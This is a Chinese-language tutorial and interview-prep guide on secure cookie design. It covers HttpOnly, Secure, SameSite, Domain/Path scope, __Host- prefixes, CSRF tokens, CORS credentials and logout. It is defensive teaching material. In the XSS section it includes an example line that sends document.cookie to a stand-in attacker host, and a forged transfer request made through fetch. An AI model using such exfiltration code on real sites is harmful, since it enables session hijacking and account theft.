Cookie 安全設計
Cookie 是 Web 身份驗證裡最常見、也最容易被誤解的機制。它可以安全地承載 session id,也可能因為一個錯誤的 Domain、SameSite 或 Secure 設定,讓整個登入系統暴露在 session hijacking、CSRF 或子網域覆蓋風險裡。
一句話回答:Cookie 安全設計要同時考慮傳輸、讀取、跨站、自動附帶與作用範圍:身份憑證 cookie 應設定 HttpOnly 防止 JavaScript 讀取、Secure 限制 HTTPS 傳輸、SameSite=Lax/Strict 降低 CSRF、合理的 Path / Domain 限制作用範圍,優先使用 __Host- prefix;但 HttpOnly 不能防 XSS 發請求,SameSite 不能取代完整 CSRF 防護,Cookie 也不應保存敏感明文資料。
一、 必考觀念
1. Cookie 會被瀏覽器自動帶上
這是 Cookie 最大的方便,也是安全風險來源。
當瀏覽器存了:
Set-Cookie: __Host-sid=abc; Path=/; HttpOnly; Secure; SameSite=Lax之後符合條件的請求會自動帶:
Cookie: __Host-sid=abc前端 JavaScript 不需要手動加 header。
這代表:
- 使用者體驗好。
- 適合 server-side session。
- 但要考慮 CSRF。
- Cookie scope 設錯會擴大暴露面。
2. Cookie 安全不是只設 HttpOnly
常見錯誤回答:
我把 token 放 HttpOnly Cookie,所以安全了。
不夠。
還要看:
| 問題 | 需要的設計 |
|---|---|
| JS 能不能讀 | HttpOnly |
| HTTP 會不會傳 | Secure + HTTPS |
| 跨站請求會不會帶 | SameSite |
| 哪個網域可用 | Domain |
| 哪個路徑會帶 | Path |
| 活多久 | Max-Age / Expires |
| 子網域能不能覆蓋 | Cookie prefix |
| 是否會被 CSRF 利用 | CSRF token / Origin check |
| XSS 能不能代發請求 | XSS 防護、CSP、權限檢查 |
Cookie 安全是一組設定,不是一個 flag。
3. Cookie 不是加密儲存空間
Cookie 內容可能被:
- 瀏覽器工具看到。
- 代理或 log 設定錯誤時暴露。
- 非 HttpOnly cookie 被 JS 讀取。
- 傳到符合 Domain / Path 的請求。
不要放:
- 密碼。
- 身分證。
- 信用卡。
- refresh token 明文,除非它是 HttpOnly 且有完整安全策略。
- 大量個資。
身份 cookie 通常只放不可預測的 session id 或 token。
二、 HttpOnly
1. HttpOnly 做什麼?
HttpOnly 讓 JavaScript 不能透過 document.cookie 讀取 Cookie。
Set-Cookie: __Host-sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/這可以降低 XSS 後直接偷 session id 的風險。
OWASP Session Management Cheat Sheet 將 HttpOnly 視為保護 session id confidentiality 的必要屬性之一。
2. HttpOnly 不能防什麼?
HttpOnly 不能防止 XSS 代替使用者發請求。
例如攻擊者不能讀 cookie:
document.cookie但如果頁面有 XSS,攻擊者仍可能:
fetch('/api/transfer', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({ amount: 1000 }),
})瀏覽器仍會自動帶 HttpOnly cookie。
所以仍要做:
- XSS 防護。
- CSRF 防護。
- 權限檢查。
- 高風險操作 step-up authentication。
- Content Security Policy。
3. 前端怎麼知道登入狀態?
既然 JS 讀不到 HttpOnly cookie,前端不能靠:
document.cookie.includes('sid')應該呼叫:
GET /api/me由 server 根據 session cookie 回傳使用者狀態。
三、 Secure 與 HTTPS
1. Secure 做什麼?
Secure 表示 Cookie 只會在 HTTPS 請求中傳送。
Set-Cookie: __Host-sid=abc; Secure; HttpOnly; SameSite=Lax; Path=/正式環境身份 cookie 必須使用 Secure。
MDN Set-Cookie 文件也說明,Secure 會讓 cookie 僅透過 HTTPS 傳送。
2. 只有 HTTPS 還不夠
即使網站主要使用 HTTPS,如果 Cookie 沒有 Secure,瀏覽器仍可能在某些 HTTP 請求中傳送它。
所以要同時:
- 全站 HTTPS。
- Cookie 設 Secure。
- 啟用 HSTS。
- HTTP 自動轉 HTTPS。
- 避免 mixed content。
OWASP Session Management Cheat Sheet 也提醒,即使網站使用 HTTPS,session cookie 仍應設定 Secure。
3. 本機開發怎麼辦?
本機開發常遇到:
Secure cookie 在 http://localhost 不好測做法:
- 本機使用 HTTPS。
- 使用反向代理。
- 開發環境用明確分支設定,但 production 強制 Secure。
- 測試環境盡量貼近 production。
不要因為本機方便,讓正式環境漏掉 Secure。
四、 SameSite
1. SameSite 解決什麼?
SameSite 控制 Cookie 是否會隨 cross-site request 發送。
它主要用來降低 CSRF 風險。
Set-Cookie: __Host-sid=abc; SameSite=Lax; Secure; HttpOnly; Path=/2. Strict、Lax、None
| 值 | 行為 | 適合 |
|---|---|---|
| Strict | 跨站情境幾乎不帶 Cookie | 銀行、後台、敏感操作 |
| Lax | 一般跨站子請求不帶,部分頂層導覽會帶 | 多數網站平衡選擇 |
| None | 跨站也帶,必須 Secure | 第三方 iframe、跨站 SSO、嵌入場景 |
OWASP Session Management Cheat Sheet 建議 session cookie 明確設定 SameSite,優先 Strict 或 Lax,不要依賴瀏覽器預設值。
3. SameSite=Lax 的常見選擇
一般內容網站或 SaaS:
SameSite=Lax好處:
- 外部連結進來時不至於完全失去登入狀態。
- 大多數 cross-site form / image / script 請求不會帶 cookie。
但對敏感操作,仍可搭配 CSRF token。
4. SameSite=None 必須 Secure
如果需要跨站 cookie:
Set-Cookie: sid=abc; SameSite=None; Secure; HttpOnly沒有 Secure,現代瀏覽器通常不接受 SameSite=None cookie。
使用場景:
- 前端與 API 是不同 site。
- 第三方登入 callback 特殊流程。
- iframe 嵌入。
- 跨站 SSO。
但這也會增加 CSRF 與追蹤相關風險,要非常謹慎。
五、 Domain 與 Path
1. 不要隨便設 Domain
如果不設 Domain,Cookie 預設是 host-only:
Set-Cookie: __Host-sid=abc; Path=/; Secure; HttpOnly只會送給設定它的 host。
如果設:
Domain=example.comCookie 可能會送到:
app.example.com
admin.example.com
cdn.example.com這會擴大風險。
2. 子網域風險
如果某個子網域被接管:
old-blog.example.com而你的 session cookie 設了:
Domain=example.com就可能被子網域影響或覆蓋。
敏感 session cookie 應優先 host-only。
3. Path 不是安全邊界
Path=/admin 只控制哪些路徑會帶 cookie。
它不是強安全隔離。
不要以為:
Path=/admin就能防止同站其他路徑攻擊。
真正的安全仍要靠 server-side authorization。
六、 Cookie Prefix
1. __Host-
建議 session cookie 使用:
Set-Cookie: __Host-sid=abc; Path=/; Secure; HttpOnly; SameSite=Lax__Host- 要求:
- 必須 Secure。
- 不能設定 Domain。
- Path 必須是
/。
這有助於避免子網域覆蓋與錯誤 Domain 設定。
OWASP Session Management Cheat Sheet 也推薦使用 Cookie prefix 讓瀏覽器層級協助約束 cookie 安全屬性。
2. __Secure-
__Secure- 要求:
- 必須 Secure。
但可以設定 Domain。
適合需要子網域共享的 cookie,但 session id 通常更推薦 __Host-。
3. Prefix 不是萬能
Cookie prefix 只能約束瀏覽器接受 cookie 時的屬性。
仍然需要:
- HttpOnly。
- SameSite。
- CSRF 防護。
- XSS 防護。
- session rotation。
- server-side authorization。
七、 CSRF 與 Cookie
1. 為什麼 Cookie 容易有 CSRF?
因為 Cookie 會自動附帶。
攻擊者網站可以誘導瀏覽器送出:
POST https://bank.example.com/transfer
Cookie: __Host-sid=...攻擊者不需要知道 cookie 值,瀏覽器會自己帶。
OWASP CSRF Prevention Cheat Sheet 也指出,CSRF 利用的是已登入使用者瀏覽器自動帶上 cookie 的特性。
2. SameSite 是防禦之一
SameSite=Lax/Strict 可以降低很多 CSRF。
但不能完全取代:
- CSRF token。
- Origin / Referer 檢查。
- Double Submit Cookie,需正確簽章。
- 高風險操作重新驗證。
OWASP CSRF Prevention Cheat Sheet 也把 SameSite 視為 defense in depth。
3. CSRF Token
常見做法:
GET /csrf-token回:
{
"csrfToken": "..."
}後續敏感請求:
POST /api/change-email
Cookie: __Host-sid=...
X-CSRF-Token: ...Server 驗證 token 是否和 session / secret 匹配。
4. API only 也要看憑證放哪
如果 API 認證靠:
Authorization: Bearer token且 token 不會被瀏覽器自動附帶,CSRF 風險不同。
如果 API 認證靠 Cookie,即使是 JSON API,也要考慮 CSRF。
八、 XSS 與 Cookie
1. HttpOnly 降低偷 cookie 風險
XSS 後若 cookie 不是 HttpOnly:
fetch('https://attacker.example/steal?c=' + document.cookie)攻擊者可以直接偷 session id。
HttpOnly 可以擋這種直接讀取。
2. XSS 仍然可以代發請求
即使 cookie 是 HttpOnly,XSS 仍可能:
- 呼叫 API。
- 修改使用者資料。
- 發起高風險操作。
- 讀取頁面上可見資料。
所以 cookie 安全不能取代 XSS 防護。
需要:
- 輸出編碼。
- CSP。
- 避免
v-html/innerHTML注入。 - Sanitizer。
- 高風險操作重新驗證。
- 最小權限 API。
3. 高風險操作不要只靠 cookie session
例如:
- 修改密碼。
- 修改 email。
- 關閉 MFA。
- 提款。
- 下載敏感資料。
應要求:
近期重新驗證
MFA
操作確認
稽核紀錄九、 跨域與 CORS
1. Origin、Site、Domain 不同
容易混淆:
| 名詞 | 例子 |
|---|---|
| Origin | scheme + host + port |
| Site | registrable domain 概念,例如 example.com |
| Domain attribute | Cookie 的可用 host 範圍 |
Cookie SameSite 看的是 site,不是單純 origin。
但 CORS 看的是 origin。
2. 跨域 Cookie 需要 credentials
前端:
fetch('https://api.example.com/me', {
credentials: 'include',
})Server:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://app.example.com不能用:
Access-Control-Allow-Origin: *搭配 credentials。
3. SameSite=None 場景
如果 app 和 API 是 cross-site,cookie 可能需要:
SameSite=None; Secure但這會增加 CSRF 風險,因此要搭配:
- 嚴格 CORS。
- CSRF token。
- Origin 檢查。
- 短 session。
- 高風險操作 step-up。
延伸讀:HTTP 專題:CORS 實戰篇。
十、 登出與清除 Cookie
1. 清 Cookie 要匹配 Path / Domain
如果設定時:
Set-Cookie: sid=abc; Domain=example.com; Path=/; Secure; HttpOnly清除時也要匹配:
Set-Cookie: sid=; Domain=example.com; Path=/; Max-Age=0; Secure; HttpOnlyDomain / Path 不一致,可能清不掉。
2. Server session 也要撤銷
只清 cookie 不夠。
如果攻擊者已經拿到 cookie 值,server session 仍然有效。
登出要:
server revoke session
browser clear cookie3. Cookie Max-Age 與 session store TTL 要一致
如果 cookie 還在,但 server session 過期:
使用者以為還登入,API 回 401如果 server session 還在,但 cookie 過期:
使用者被登出,但 server 狀態還殘留兩者不一定要完全相同,但要有清楚策略。
十一、 常見錯誤
1. 把 JWT 放 Cookie 就不需要 CSRF
錯。
只要瀏覽器會自動帶 Cookie,就要考慮 CSRF。不管 Cookie 裡是 session id 還是 JWT。
2. SameSite=None 但沒有 Secure
現代瀏覽器通常不接受,安全上也不應這樣設。
3. Domain 設太大
Domain=example.com可能讓所有子網域都收到敏感 cookie。
身份 cookie 優先 host-only,或使用 __Host- prefix。
4. 在 Cookie 存 user role
例如:
Set-Cookie: role=admin使用者可竄改非簽章 cookie。授權應由 server-side 權限判斷。
5. Cookie 太大
Cookie 每次符合條件都會帶上。
放太多資料會:
- 增加每個 request 大小。
- 影響效能。
- 增加暴露面。
- 可能超過瀏覽器限制。
身份 cookie 越小越好。
十二、 追問題庫
Q1:HttpOnly 有什麼用?
HttpOnly 讓 JavaScript 無法透過 document.cookie 讀取 Cookie,可降低 XSS 後直接偷 session id 的風險。但它不能防止 XSS 代發請求。
Q2:Secure 有什麼用?
Secure 讓 Cookie 只透過 HTTPS 傳送。正式環境身份 cookie 必須設 Secure,並搭配全站 HTTPS 與 HSTS。
Q3:SameSite 有什麼用?
SameSite 控制 Cookie 是否隨 cross-site request 發送,能降低 CSRF 風險。常見選擇是 Lax;高敏感系統可考慮 Strict;跨站嵌入或 SSO 可能需要 None + Secure。
Q4:SameSite 可以完全取代 CSRF token 嗎?
不建議。SameSite 是防禦深度,敏感操作仍可搭配 CSRF token、Origin / Referer 檢查與重新驗證。
Q5:Cookie 的 Domain 要怎麼設?
身份 cookie 優先不設定 Domain,讓它成為 host-only cookie。不要為了方便設成 .example.com,除非你真的需要子網域共享並理解風險。
Q6:__Host- prefix 有什麼好處?
__Host- 要求 Secure、不能設定 Domain、Path 必須是 /,有助於避免子網域覆蓋與錯誤 Domain 設定,適合 session cookie。
十三、 實作題
題目:設計安全的 Session Cookie
需求:
- Web app 使用 session cookie。
- 正式環境只允許 HTTPS。
- 降低 XSS 偷 cookie 風險。
- 降低 CSRF。
- 避免子網域覆蓋。
設定:
reply.setCookie('__Host-sid', session.id, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
maxAge: 60 * 60,
})注意:
- 不設定
domain,符合__Host-要求。 secure: true。httpOnly: true。sameSite根據風險可調整為strict。- 高風險操作仍搭配 CSRF token 或 step-up。
題目延伸:跨站前後端
如果:
Frontend: https://app.example.com
API: https://api.example.netCookie 可能需要:
reply.setCookie('sid', session.id, {
httpOnly: true,
secure: true,
sameSite: 'none',
path: '/',
})同時 API 要設定:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true前端:
fetch('https://api.example.net/me', {
credentials: 'include',
})並且需要嚴格 CSRF 防護。
十四、 資深視角
1. Cookie 設計要跟部署拓樸一起看
需要先知道:
- 前端和 API 是否同 site。
- 是否有多租戶子網域。
- 是否需要 SSO。
- 是否 iframe 嵌入。
- 是否有 CDN / reverse proxy。
- 是否有舊瀏覽器要求。
Cookie 不是只在程式碼裡設幾個 flag,它和域名、代理、TLS、CORS 都有關。
2. Cookie 安全和 XSS / CSRF 是一組設計
如果 cookie 是主要身份憑證:
- XSS 可能偷不到 cookie,但能代發請求。
- CSRF 可能不知道 cookie,但能借瀏覽器自動帶 cookie。
- CORS 設錯可能擴大風險。
所以要一起設計:
Cookie flags
CSRF token
Origin check
XSS prevention
CSP
step-up authentication
audit log3. 不同 cookie 要分用途
例如:
| Cookie | 用途 | 設定 |
|---|---|---|
__Host-sid | session id | HttpOnly + Secure + SameSite |
csrf_token | CSRF token | Secure + SameSite,通常 JS 需要讀 |
theme | UI 偏好 | 不要和 session 混在一起 |
analytics_id | 分析 | 不應有身份權限 |
不要把所有用途塞在同一個 cookie。
總結
| 問題 | 回答重點 |
|---|---|
| HttpOnly | 防 JS 讀 cookie,不防 XSS 代發請求 |
| Secure | 只透過 HTTPS 傳送 |
| SameSite | 降低 CSRF,Lax 常見,Strict 更嚴,None 要 Secure |
| Domain | 身份 cookie 優先 host-only |
| Path | 控制傳送路徑,但不是強安全邊界 |
| Prefix | __Host- 適合 session cookie |
| CSRF | Cookie 自動帶,所以敏感操作仍需防護 |
| XSS | HttpOnly 降低偷 cookie,但不能取代 XSS 防護 |
| 清除 | 清 cookie 要匹配 Domain / Path,也要 revoke server session |
一句完整的面試回答可以是:
Cookie 安全設計要同時看 HttpOnly、Secure、SameSite、Domain、Path、有效期與 CSRF/XSS。身份 cookie 應該設 HttpOnly,避免 JavaScript 透過
document.cookie讀取;設 Secure,確保只在 HTTPS 傳送;設 SameSite=Lax 或 Strict 降低 CSRF,若必須跨站使用 SameSite=None,必須搭配 Secure 並加強 CSRF 防護。Session cookie 優先不要設 Domain,讓它成為 host-only cookie,並可使用__Host-prefix,要求 Secure、Path=/ 且不能有 Domain,降低子網域覆蓋風險。HttpOnly 不能防止 XSS 代發請求,SameSite 也不能完全取代 CSRF token;敏感操作仍要做 CSRF token、Origin 檢查、重新驗證與 server-side 授權。登出時不只清 cookie,還要撤銷 server session。